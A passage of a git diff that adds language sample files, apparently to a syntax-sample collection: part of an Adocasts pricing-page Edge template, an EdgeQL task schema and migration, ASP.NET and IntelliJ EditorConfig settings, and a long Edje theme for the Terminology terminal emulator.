+      @!pricing.feature.card({
+        icon: 'ph:clock-countdown-fill',
+        title: '2 Weeks Early Access',
+        text: "When we release free content, it's exclusive to our plus subscribers for two weeks"
+      })
+
+      @!pricing.feature.card({
+        icon: 'ph:share-fat-fill',
+        title: 'Shared Feed Posts',
+        text: 'Recent feed posts are pooled for display across the Adocasts site'
+      })
+
+      @pricing.feature.card({
+        icon: 'ph:barricade-fill',
+        title: 'Ad Free Experience',
+      })
+        You won't see any ads on the Adocasts site, not even your own 
+        <span class="text-sm italic">(except in our ad portal)</span>
+      @end
+
+      @!pricing.feature.card({
+        icon: 'ph:image-square-fill',
+        title: 'Run Ads',
+        text: 'Gain access to our ad portal to run advertisements across the Adocasts site'
+      })
+
+      @!pricing.feature.card({
+        icon: 'ph:currency-dollar-simple-bold',
+        title: 'Cancel Anytime',
+        text: 'Reminders are sent a week prior to renewal, plus you can cancel anytime!'
+      })
+    </div>
+  @end
+
+  @section()
+    <div class="flex flex-col lg:flex-row gap-4 max-w-3xl mx-auto bg-slate-100 rounded-md p-8 relative">
+      <div class="flex-1 text-center lg:text-left relative z-10">
+        @!heading({ title: 'Not Ready?', size: 'sm' })
+        <p class="lg:text-lg text-slate-700 -mt-2">
+          No worries, we have plenty of free lessons too!
+        </p>
+      </div>
+      <div class="flex justify-center lg:justify-end lg:items-center relative z-10">
+        @button({ variant: 'dark', href: route('auth.signup.create'), 'up-layer': 'new', 'up-size': 'grow' })
+          Get Started for Free
+        @end
+      </div>
+
+      <div class="absolute right-0 md:right-1/4 -bottom-16 w-24 lg:-right-24 lg:bottom-4 lg:w-32 -scale-x-100 h-full">
+        <img class="animation-float" src="/imgs/robot/slice2.svg" alt="robot mascot pointing right" />
+      </div>
+    </div>
+  @end
+
+  @section()
+    <div class="max-w-3xl mx-auto bg-slate-100 p-8 pb-4 rounded-md">
+      @!heading({ title: 'Fequently Asked Questions', size: 'sm' })
+      <p class="text-slate-700 -mt-2">
+        Is your question not listed? <a href="mailto:contact@adocasts.com?subject=Pricing Question" class="anchor">Feel free to reach out</a>!
+      </p>
+      <div class="-mx-4 mt-6">
+        @accordion()
+          @accordion.item({ title: 'How can I cancel my subscription?' })
+            <p>
+              You can cancel your subscription at any time within your billing settings. 
+              Once canceled you'll still have full access to Adocasts Plus until your current billing period is over.
+              Once your billing period is over, you won't be charged again.
+            </p>
+          @end
+          @accordion.item({ title: 'What do I get with Adocasts Plus?' })
+            <p>
+              With Adocasts Plus you'll get access to all of our <a class="anchor" href="{{ route('lessons.index') }}" up-follow>lessons</a> 
+              and <a class="anchor" href="{{ route('series.index') }}" up-follow>series</a>. 
+            </p>
+            
+            <p>
+              Adocasts Plus members also enjoy 2 weeks early access to all our new lessons (excludes contributor lessons), 
+              meaning that when we do release a free lesson it'll be exclusive to Adocasts Plus members for the first 2 weeks.
+            </p>
+
+            <p>
+              Additionally, Adocasts Plus is ad free! When you're browsing or watching the Adocasts site, we'll make sure you don't see any ads.
+            </p>
+          @end
+          @accordion.item({ title: 'Can I change plans at any time?' })
+            <p>
+              Yep! Unless you're already on our forever plan, you can switch between the monthly, annual, or even opt into the forever plan at any time.
+            </p>
+            <p>
+              When switching from our monthly to annual plan, any time remaining in your current billing period will be prorated.
+            </p>
+          @end
+          @accordion.item({ title: 'Do you offer student, purchase power parity, or other discounts?' })
+            <p>
+              Our goal is to try to make learning AdonisJS as affordable as possible. 
+              Compared to others, we feel our pricing is already pretty low.
+            </p>
+
+            <p>
+              That said, if you feel {{ plusMonthly.displayPrice }} per month is high for you, whether that's financially or due to unfair conversion rates,
+              <a href="mailto:contact@adocasts.com?subject=Student or PPP Discount Request" class="anchor">send us an email</a> and we'll see what we can do.
+            </p>
+          @end
+        @end
+      </div>
+    </div>
+  @end
+@end
diff --git a/samples/EdgeQL/default.esdl b/samples/EdgeQL/default.esdl
new file mode 100644
index 0000000000..8ae7318124
--- /dev/null
+++ b/samples/EdgeQL/default.esdl
@@ -0,0 +1,8 @@
+module default {
+  type Task {
+    required property text -> str;
+    required property completed -> bool{
+      default := false;
+    };
+  }
+};
diff --git a/samples/EdgeQL/migration.edgeql b/samples/EdgeQL/migration.edgeql
new file mode 100644
index 0000000000..84f3969a89
--- /dev/null
+++ b/samples/EdgeQL/migration.edgeql
@@ -0,0 +1,12 @@
+CREATE MIGRATION m146naaaow4uwgbxpnjq5hyizixicxvg2ccpta24pxebzfn7xeppna
+    ONTO initial
+{
+  CREATE EXTENSION edgeql_http VERSION '1.0';
+  CREATE EXTENSION graphql VERSION '1.0';
+  CREATE TYPE default::Task {
+      CREATE REQUIRED PROPERTY completed -> std::bool {
+          SET default := false;
+      };
+      CREATE REQUIRED PROPERTY text -> std::str;
+  };
+};
diff --git a/samples/EditorConfig/ASP.NET.EditorConfig b/samples/EditorConfig/ASP.NET.EditorConfig
new file mode 100644
index 0000000000..0b8a9f33e3
--- /dev/null
+++ b/samples/EditorConfig/ASP.NET.EditorConfig
@@ -0,0 +1,94 @@
+# ASP.NET Core EditorConfig file
+
+# NOTE: This file focuses on settings Visual Studio 2017 supports natively. For example, VS does not support insert_final_newline.
+# We do use it, but it's harder to enforce without a separate VS extension or an editor that supports it.
+# See https://docs.microsoft.com/en-us/visualstudio/ide/create-portable-custom-editor-options for more
+
+# Mark this file as the "root" for everything below this point. This means that editor config files above
+# this file will be ignored
+root = true
+
+# Default settings
+[*]
+indent_style = space
+indent_size = 4
+charset = utf-8
+insert_final_newline = true
+
+# Unix-only files
+[*.sh]
+end_of_line = lf
+
+# 2-space files
+[{*.json,*.yml}]
+indent_size = 2
+
+# .NET Code Style Settings
+# See https://docs.microsoft.com/en-us/visualstudio/ide/editorconfig-code-style-settings-reference
+# REVIEW: Should these be errors? warnings? suggestions?
+[{*.cs,*.vb}]
+dotnet_sort_system_directives_first = true
+
+# Don't use 'this.'/'Me.' prefix for anything
+dotnet_style_qualification_for_field = false:error
+dotnet_style_qualification_for_property = false:error
+dotnet_style_qualification_for_method = false:error
+dotnet_style_qualification_for_event = false:error
+
+# Use language keywords over framework type names for type references
+# i.e. prefer 'string' over 'String'
+dotnet_style_predefined_type_for_locals_parameters_members = true:error
+dotnet_style_predefined_type_for_member_access = true:error
+
+# Prefer object/collection initializers
+# This is a suggestion because there are cases where this is necessary
+dotnet_style_object_initializer = true:suggestion
+dotnet_style_collection_initializer = true:suggestion
+
+# C# 7: Prefer using named tuple names over '.Item1', '.Item2', etc.
+dotnet_style_explicit_tuple_names = true:error
+
+# Prefer using 'foo ?? bar' over 'foo != null ? foo : bar'
+dotnet_style_coalesce_expression = true:error
+
+# Prefer using '?.' over ternary null checking where possible
+dotnet_style_null_propagation = true:error
+
+# Use 'var' in all cases where it can be used
+csharp_style_var_for_built_in_types = true:error
+csharp_style_var_when_type_is_apparent = true:error
+csharp_style_var_elsewhere = true:error
+
+# C# 7: Prefer using pattern matching over "if(x is T) { var t = (T)x; }" and "var t = x as T; if(t != null) { ... }"
+# REVIEW: Since this is a new C# 7 feature that replaces an existing pattern, I'm making it a suggestion
+csharp_style_pattern_matching_over_is_with_cast_check = true:warning
+csharp_style_pattern_matching_over_as_with_null_check = true:warning
+
+# C# 7: Prefer using 'out var' where possible
+# REVIEW: Since this is a new C# 7 feature that replaces an existing pattern, I'm making it a suggestion
+csharp_style_inlined_variable_declaration = true:error
+
+# C# 7: Use throw expressions when null-checking
+# @davidfowl hates them :)
+csharp_style_throw_expression = false:error
+
+# Prefer using "func?.Invoke(args)" over "if(func != null) { func(args); }"
+# REVIEW: Maybe an error?
+csharp_style_conditional_delegate_call = true:error
+
+# Newline settings
+# Unsure where docs are. Got these from https://github.com/dotnet/roslyn/blob/master/.editorconfig
+csharp_new_line_before_open_brace = all
+csharp_new_line_before_else = true
+csharp_new_line_before_catch = true
+csharp_new_line_before_finally = true
+csharp_new_line_before_members_in_object_initializers = true
+csharp_new_line_before_members_in_anonymous_types = true
+
+# Prefer expression-bodied methods, constructors, operators, etc.
+csharp_style_expression_bodied_methods = true:suggestion
+csharp_style_expression_bodied_constructors = true:suggestion
+csharp_style_expression_bodied_operators = true:suggestion
+csharp_style_expression_bodied_properties = true:suggestion
+csharp_style_expression_bodied_indexers = true:suggestion
+csharp_style_expression_bodied_accessors = true:suggestion
diff --git a/samples/EditorConfig/IntelliJ.editorconfig b/samples/EditorConfig/IntelliJ.editorconfig
new file mode 100644
index 0000000000..c4d640f4ae
--- /dev/null
+++ b/samples/EditorConfig/IntelliJ.editorconfig
@@ -0,0 +1,39 @@
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+indent_style = tab
+insert_final_newline = true
+max_line_length = 120
+tab_width = 4
+ij_continuation_indent_size = 4
+ij_formatter_off_tag = @formatter:off
+ij_formatter_on_tag = @formatter:on
+ij_formatter_tags_enabled = false
+ij_smart_tabs = false
+ij_wrap_on_typing = false
+
+[{*.cjs, *.js, *.karma}]
+ij_continuation_indent_size = 1
+ij_javascript_align_imports = false
+ij_javascript_align_multiline_for = true
+ij_javascript_align_multiline_parameters = true
+ij_javascript_align_multiline_parameters_in_calls = false
+ij_javascript_align_multiline_ternary_operation = false
+ij_javascript_align_object_properties = 0
+ij_javascript_align_union_types = false
+ij_javascript_align_var_statements = 1
+ij_javascript_assignment_wrap = on_every_item
+ij_javascript_binary_operation_sign_on_next_line = false
+ij_javascript_binary_operation_wrap = off
+ij_javascript_blacklist_imports = rxjs/Rx, node_modules/**, **/node_modules/**, @angular/material, @angular/material/typings/**
+
+[{*.yaml, *.yml, _algolia_api_key}]
+indent_size = 2
+ij_yaml_keep_indents_on_empty_lines = false
+ij_yaml_keep_line_breaks = true
+
+[{*.htm, *.html, *.sht, *.shtm, *.shtml}]
+ij_html_do_not_break_if_inline_tags = title, h1, h2, h3, h4, h5, h6, p
+ij_html_do_not_indent_children_of_tags = html, body, thead, tbody, tfoot
diff --git a/samples/INI/filenames/.editorconfig b/samples/EditorConfig/filenames/.editorconfig
similarity index 100%
rename from samples/INI/filenames/.editorconfig
rename to samples/EditorConfig/filenames/.editorconfig
diff --git a/samples/Edje Data Collection/mild.edc b/samples/Edje Data Collection/mild.edc
new file mode 100644
index 0000000000..3654b1f9dc
--- /dev/null
+++ b/samples/Edje Data Collection/mild.edc	
@@ -0,0 +1,2061 @@
+// https://raw.githubusercontent.com/billiob/terminology/master/data/themes/mild.edc
+/* overlay to default to make theme easier on the eyes, less effects */
+
+#ifndef BG_COLOR
+#define BG_COLOR 48 48 48 255
+#endif
+
+#ifndef BG_COLOR_TRANSLUCENT
+#define BG_COLOR_TRANSLUCENT 48 48 48 200
+#endif
+
+#ifndef BELL_OVERLAY_COLOR
+#define BELL_OVERLAY_COLOR 220 220 220 16
+#endif
+
+
+collections {
+   group { name: "terminology/background";
+
+#ifndef INHERIT_PROVIDE_OWN_COLORS
+       color_classes {
+#include "default_colors.in.edc"
+       }
+#endif
+
+      images {
+        image: "bg_bevel.png" COMP;
+        image: "bg_shine.png" COMP;
+        image: "bg_glint.png" COMP;
+        image: "bg_led_base.png" COMP;
+        image: "bg_led.png" COMP;
+        image: "bg_led_strobe.png" COMP;
+        image: "pm_shadow.png" COMP;
+        image: "pm_overlay.png" COMP;
+        image: "pm_fill.png" COMP;
+        image: "tab_bg_l0.png" COMP;
+        image: "tab_bg_l1.png" COMP;
+        image: "tab_bg_r0.png" COMP;
+        image: "tab_bg_r1.png" COMP;
+        image: "tab_shad_l0.png" COMP;
+        image: "tab_shad_l1.png" COMP;
+        image: "tab_shad_r0.png" COMP;
+        image: "tab_shad_r1.png" COMP;
+      }
+      sounds {
+         sample { name: "bell" LOSSY 64;
+            source: "bell.wav";
+         }
+      }
+
+      script {
+         public message(Msg_Type:type, id, ...) {
+            new r, g, b, a, v;
+
+            if ((type != MSG_INT) || (id != 1)) return;
+
+            v = (getarg(2) * 255) / 100;
+
+            custom_state(PART:"base", "default", 0.0);
+            get_state_val(PART:"base", STATE_COLOR, r, g, b, a);
+            set_state_val(PART:"base", STATE_COLOR, r, g, b, v);
+            set_state(PART:"base", "custom", 0.0);
+
+            custom_state(PART:"fade", "default", 0.0);
+            get_state_val(PART:"fade", STATE_COLOR, r, g, b, a);
+            set_state_val(PART:"fade", STATE_COLOR, r, g, b, v);
+            set_state(PART:"fade", "custom", 0.0);
+         }
+      }
+
+      parts {
+         ////////////////////////////////////////////////////////////////////
+         // background handling
+
+         part { name: "focusclip"; type: RECT;
+            clip_to: "bellclip";
+            description { state: "default" 0.0;
+            }
+            description { state: "unfocused" 0.0;
+               color: 200 200 200 255;
+            }
+         }
+         program {
+            signal: "focus,in";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: ACCELERATE 0.1;
+            target: "focusclip";
+         }
+         program {
+            signal: "focused,set";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            target: "focusclip";
+         }
+         program {
+            signal: "focus,out";
+            source: "terminology";
+            action: STATE_SET "unfocused" 0.0;
+            transition: ACCELERATE 0.1;
+            target: "focusclip";
+         }
+
+         part { name: "baseclip"; type: RECT;
+            clip_to: "focusclip";
+            description { state: "default" 0.0;
+            }
+            description { state: "image" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 0;
+               visible: 0;
+            }
+            description { state: "scale" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 0;
+               visible: 0;
+            }
+            description { state: "edje" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 0;
+               visible: 0;
+            }
+            description { state: "movie" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 0;
+               visible: 0;
+            }
+         }
+         part { name: "base"; type: RECT;
+            mouse_events: 1;
+            clip_to: "baseclip";
+            description { state: "default" 0.0;
+               color: BG_COLOR;
+            }
+         }
+         part { name: "fade"; type: RECT;
+            description { state: "default" 0.0;
+            }
+         }
+         part { name: "terminology.background"; type: SWALLOW;
+            clip_to: "fade";
+            description { state: "default" 0.0;
+            }
+            description { state: "image" 0.0;
+               inherit: "default" 0.0;
+            }
+            description { state: "scale" 0.0;
+               inherit: "default" 0.0;
+            }
+            description { state: "edje" 0.0;
+               inherit: "default" 0.0;
+            }
+            description { state: "movie" 0.0;
+               inherit: "default" 0.0;
+            }
+         }
+         program { name: "media_off";
+            signal: "media,off";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            target: "terminology.background";
+            target: "baseclip";
+         }
+         program { name: "media_img";
+            signal: "media,image";
+            source: "terminology";
+            action: STATE_SET "image" 0.0;
+            target: "terminology.background";
+            target: "baseclip";
+         }
+         program { name: "media_scale";
+            signal: "media,scale";
+            source: "terminology";
+            action: STATE_SET "scale" 0.0;
+            target: "terminology.background";
+            target: "baseclip";
+         }
+         program { name: "media_edje";
+            signal: "media,edje";
+            source: "terminology";
+            action: STATE_SET "edje" 0.0;
+            target: "terminology.background";
+            target: "baseclip";
+         }
+         program { name: "media_mov";
+            signal: "media,movie";
+            source: "terminology";
+            action: STATE_SET "movie" 0.0;
+            target: "terminology.background";
+            target: "baseclip";
+         }
+
+         part { name: "bellclip"; type: RECT;
+            description { state: "default" 0.0;
+            }
+            description { state: "pulse1" 0.0;
+               inherit: "default" 0.0;
+               color: 200 200 200 255;
+            }
+            description { state: "pulse2" 0.0;
+               inherit: "default" 0.0;
+            }
+         }
+         part { name: "belloverlay"; type: RECT;
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               color: 255 255 255 0;
+               visible: 0;
+            }
+            description { state: "pulse1" 0.0;
+               inherit: "default" 0.0;
+            }
+            description { state: "pulse2" 0.0;
+               inherit: "default" 0.0;
+               color: BELL_OVERLAY_COLOR;
+               visible: 1;
+            }
+         }
+         program {
+            signal: "bell,ring"; source: "terminology";
+#if (EFL_VERSION_MAJOR > 1) || (EFL_VERSION_MINOR >= 9)
+            action: PLAY_SAMPLE "bell" 1.0 ALERT;
+#else
+            action: PLAY_SAMPLE "bell" 1.0;
+#endif
+         }
+         program {
+            signal: "bell";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            target: "bellclip";
+            target: "belloverlay";
+            after: "bellclip_bell.2";
+         }
+         program {
+            name: "bellclip_bell.2";
+            action: STATE_SET "pulse1" 0.0;
+            transition: ACCELERATE 0.2;
+            target: "bellclip";
+            target: "belloverlay";
+            after: "bellclip_bell.3";
+         }
+         program {
+            name: "bellclip_bell.3";
+            action: STATE_SET "pulse2" 0.0;
+            transition: ACCELERATE 0.2;
+            target: "bellclip";
+            target: "belloverlay";
+            after: "bellclip_bell.4";
+         }
+         program {
+            name: "bellclip_bell.4";
+            action: STATE_SET "default" 0.0;
+            transition: ACCELERATE 0.2;
+            target: "bellclip";
+            target: "belloverlay";
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // actual text grid for chars, cursors, selectiond etc. goes here
+         part { name: "terminology.content"; type: SWALLOW;
+            description { state: "default" 0.0;
+            }
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // indicator of other tabs and control
+         part { name: "tabcount_clip"; type: RECT;
+            description { state: "default" 0.0;
+               color: 255 255 255 0;
+               visible: 0;
+            }
+            description { state: "on" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "terminology.tabmissed.label"; type: TEXT; mouse_events: 0;
+            effect: GLOW;
+            scale: 1;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.tabcount.label";
+               rel2.to: "terminology.tabcount.label";
+               rel1.offset: -4 0;
+               rel2.relative: 0.0 1.0;
+               rel2.offset: -5 -1;
+               color: 255 153 51 64;
+               align: 1.0 0.5;
+               text { font: "Sans"; size: 8;
+                  align: 1.0 0.5;
+                  min: 1 1;
+                  ellipsis: 0;
+               }
+            }
+            description { state: "over" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 64 255;
+            }
+         }
+         part { name: "terminology.tabcount.label"; type: TEXT; mouse_events: 0;
+            scale: 1;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.tabcount.control";
+               rel2.to: "terminology.tabcount.control";
+               rel1.relative: -0.2 0.0;
+               rel2.relative: -0.2 1.0;
+               color: 255 255 255 64;
+               align: 1.0 0.5;
+               text { font: "Sans"; size: 8;
+                  align: 1.0 0.5;
+                  min: 1 1;
+                  ellipsis: 0;
+               }
+            }
+            description { state: "over" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "tabcount_r0"; type: RECT;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               rel1.to: "terminology.tabcount.control";
+               rel2.to: "terminology.tabcount.control";
+               rel1.relative: 0.05 0.05;
+               rel2.relative: 0.45 0.45;
+               color: 255 255 255 32;
+            }
+            description { state: "over" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "tabcount_r1"; type: RECT;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               rel1.to: "terminology.tabcount.control";
+               rel2.to: "terminology.tabcount.control";
+               rel1.relative: 0.55 0.05;
+               rel2.relative: 0.95 0.45;
+               color: 255 255 255 32;
+            }
+            description { state: "over" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "tabcount_r2"; type: RECT;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               rel1.to: "terminology.tabcount.control";
+               rel2.to: "terminology.tabcount.control";
+               rel1.relative: 0.05 0.55;
+               rel2.relative: 0.45 0.95;
+               color: 255 255 255 32;
+            }
+            description { state: "over" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "tabcount_r3"; type: RECT;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               rel1.to: "terminology.tabcount.control";
+               rel2.to: "terminology.tabcount.control";
+               rel1.relative: 0.55 0.55;
+               rel2.relative: 0.95 0.95;
+               color: 255 255 255 32;
+            }
+            description { state: "over" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "terminology.tabcount.control"; type: SWALLOW;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.relative: 1.0 0.0;
+               rel1.offset: -3 2;
+               rel1.to: "viewregion";
+               rel2.relative: 1.0 0.0;
+               rel2.offset: -3 2;
+               rel2.to: "viewregion";
+               align: 1.0 0.0;
+               min: 16 16;
+            }
+         }
+         part { name: "tabcount_ev"; type: RECT; repeat_events: 1;
+            clip_to: "tabcount_clip";
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.tabcount.control";
+               rel2.to: "terminology.tabcount.control";
+               color: 0 0 0 0;
+            }
+         }
+
+         part { name: "terminology.tabregion"; type: SWALLOW;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.content";
+               rel2.to: "viewregion";
+               rel2.relative: 1.0 0.0;
+            }
+         }
+         part { name: "viewregion"; type: SWALLOW;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.content";
+               rel2.to: "terminology.content";
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               rel1.to_y: "tabmiddle";
+               rel1.relative: 0.0 1.0;
+            }
+         }
+
+         program {
+            signal: "mouse,in"; source: "tabcount_ev";
+            action: STATE_SET "over" 0.0;
+            transition: DECELERATE 0.5;
+            target: "tabcount_r0";
+            target: "tabcount_r1";
+            target: "tabcount_r2";
+            target: "tabcount_r3";
+            target: "terminology.tabcount.label";
+            target: "terminology.tabmissed.label";
+         }
+         program {
+            signal: "mouse,out"; source: "tabcount_ev";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 2.0;
+            target: "tabcount_r0";
+            target: "tabcount_r1";
+            target: "tabcount_r2";
+            target: "tabcount_r3";
+            target: "terminology.tabcount.label";
+            target: "terminology.tabmissed.label";
+         }
+         program {
+            signal: "mouse,clicked,1"; source: "tabcount_ev";
+            action: SIGNAL_EMIT "tabcount,go" "terminology";
+         }
+         program {
+            signal: "tabcount,off"; source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.5;
+            target: "tabcount_clip";
+         }
+         program {
+            signal: "tabcount,on"; source: "terminology";
+            action: STATE_SET "on" 0.0;
+            transition: DECELERATE 0.5;
+            target: "tabcount_clip";
+         }
+         program {
+            signal: "tabmissed,off"; source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.5;
+            target: "terminology.tabmissed.label";
+         }
+         program {
+            signal: "tabmissed,on"; source: "terminology";
+            action: STATE_SET "over" 0.0;
+            transition: DECELERATE 0.2;
+            target: "terminology.tabmissed.label";
+            after: "tabmissed2";
+         }
+         program { name: "tabmissed2";
+            signal: "tabmissed,on"; source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 3.0;
+            target: "terminology.tabmissed.label";
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // miniview
+         part { name: "terminology.miniview"; type: SWALLOW;
+            description { state: "default" 0.0;
+               rel1.to_x: "terminology.content";
+               rel1.to_y: "viewregion";
+               rel2.to: "terminology.content";
+               //color: 255 255 255 0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "on" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               //color: 255 255 255 255;
+            }
+         }
+
+         program {
+            signal: "miniview,off"; source: "terminology";
+            action: STATE_SET "default" 0.0;
+            target: "terminology.miniview";
+         }
+         program {
+            signal: "miniview,on"; source: "terminology";
+            action: STATE_SET "on" 0.0;
+            target: "terminology.miniview";
+         }
+
+         part { name: "tab_bevel_bg0";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel1.to: "tableft";
+               rel2.to_y: "tableft";
+               rel2.to_x: "tab_bevel_bg1";
+               rel2.relative: 0.0 1.0;
+               image.normal: "tab_bg_l0.png";
+               image.border: 2 0 4 4;
+               fill.smooth: 0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "tab_bevel_bg1";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel1.to: "tabmiddle";
+               rel1.offset: -4 0;
+               rel2.to: "tabmiddle";
+               align: 0.0 0.0;
+               max: 12 99999;
+               min: 12 0;
+               image.normal: "tab_bg_l1.png";
+               image.border: 0 0 4 4;
+               fill.smooth: 0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+              inherit: "default" 0.0;
+              visible: 1;
+            }
+         }
+         part { name: "tab_bevel_bg2"; type: SPACER;
+            description { state: "default" 0.0;
+               rel1.to: "tab_bevel_bg1";
+               rel1.relative: 1.0 0.0;
+               rel2.to: "tab_bevel_bg3";
+               rel2.relative: 0.0 1.0;
+               fixed: 1 1;
+            }
+         }
+         part { name: "tab_bevel_bg3";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel1.to: "tabmiddle";
+               rel2.to: "tabmiddle";
+               rel2.offset: 3 -1;
+               align: 1.0 0.0;
+               max: 12 99999;
+               min: 12 0;
+               image.normal: "tab_bg_r1.png";
+               image.border: 0 0 4 4;
+               fill.smooth: 0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "tab_bevel_bg4";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel1.to_y: "tabright";
+               rel1.to_x: "tab_bevel_bg3";
+               rel1.relative: 1.0 0.0;
+               rel2.to: "tabright";
+               image.normal: "tab_bg_r0.png";
+               image.border: 0 2 4 4;
+               fill.smooth: 0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+
+         part { name: "terminology.tabl.content"; type: SWALLOW;
+            description { state: "default" 0.0;
+               rel1.to: "tableft";
+               rel2.to: "tableft";
+               fixed: 1 1;
+            }
+         }
+         part { name: "terminology.tabr.content"; type: SWALLOW;
+            description { state: "default" 0.0;
+               rel1.to: "tabright";
+               rel2.to: "tabright";
+               fixed: 1 1;
+            }
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // a swallow to hold a finger size rect for min tab size
+         program {
+            signal: "tabbar,on"; source: "terminology";
+            action: STATE_SET "tab" 0.0;
+            target: "viewregion";
+            target: "tableft";
+            target: "tabmiddle";
+            target: "tabright";
+            target: "tab_bevel_bg0";
+            target: "tab_bevel_bg1";
+            target: "tab_bevel_bg3";
+            target: "tab_bevel_bg4";
+            target: "tabtitle";
+         }
+         program {
+            signal: "tabbar,off"; source: "terminology";
+            action: STATE_SET "default" 0.0;
+            target: "viewregion";
+            target: "tableft";
+            target: "tabmiddle";
+            target: "tabright";
+            target: "tab_bevel_bg0";
+            target: "tab_bevel_bg1";
+            target: "tab_bevel_bg3";
+            target: "tab_bevel_bg4";
+            target: "tabtitle";
+         }
+
+         part { name: "terminology.tab"; type: SWALLOW;
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel1.relative: 1.0 0.0;
+               rel1.to_x: "terminology.tabl";
+               rel2.relative: 0.0 0.0;
+               rel2.to_x: "terminology.tabr";
+               align: 0.5 0.0;
+               visible: 0;
+               fixed: 1 1;
+            }
+         }
+         // some slot for dragable parts to stayt in along top edge of bg
+         part { name: "tabdrag"; type: SPACER;
+            description { state: "default" 0.0;
+               rel2.relative: 1.0 0.0;
+               fixed: 1 1;
+            }
+         }
+         // left boundary of the active tab (ragable 0.0 -> 1.0)
+         part { name: "terminology.tabl"; type: SPACER;
+            dragable.x: 1 1 0;
+            dragable.confine: "tabdrag";
+            description { state: "default" 0.0;
+               rel2.relative: 1.0 0.0;
+               max: 1 1;
+               fixed: 1 1;
+            }
+         }
+         // right boundary of the active tab (ragable 0.0 -> 1.0)
+         part { name: "terminology.tabr"; type: SPACER;
+            dragable.x: 1 1 0;
+            dragable.confine: "tabdrag";
+            description { state: "default" 0.0;
+               rel2.relative: 1.0 0.0;
+               max: 1 1;
+               fixed: 1 1;
+            }
+         }
+
+         part { name: "terminology.tab.title"; type: TEXT; mouse_events: 0;
+            scale: 1;
+            effect: SOFT_SHADOW BOTTOM;
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               color: 255 255 255 255;
+               color3: 0 0 0 18;
+               text { font: "Sans:style=Bold"; size: 10;
+                  align: 0.5 0.0;
+                  min: 0 1;
+               }
+               align: 0.5 0.0;
+               rel1.to_x: "tab_bevel_bg2";
+               rel1.offset: 0 2;
+               rel2.to_x: "tab_bevel_bg2";
+               rel2.offset: -1 2;
+               rel2.relative: 1.0 0.0;
+               visible: 0;
+               fixed: 1 1;
+            }
+         }
+         part { name: "tabtitle"; type: TEXT; mouse_events: 0;
+            scale: 1;
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               color: 255 255 255 255;
+               text { font: "Sans:style=Bold"; size: 10;
+                  align: 0.5 0.5;
+                  min: 0 1;
+                  text_source: "terminology.tab.title";
+               }
+               align: 0.5 0.5;
+               rel1.to_x: "tab_bevel_bg2";
+               rel1.to_y: "tabmiddle";
+               rel2.to_x: "tab_bevel_bg2";
+               rel2.to_y: "tabmiddle";
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "tablimit0"; type: SPACER;
+            description { state: "default" 0.0;
+               rel1.to_y: "terminology.tab";
+               rel1.relative: 0.0 1.0;
+               rel2.to_y: "terminology.tab.title";
+               align: 0.0 0.0;
+               fixed: 1 1;
+            }
+         }
+
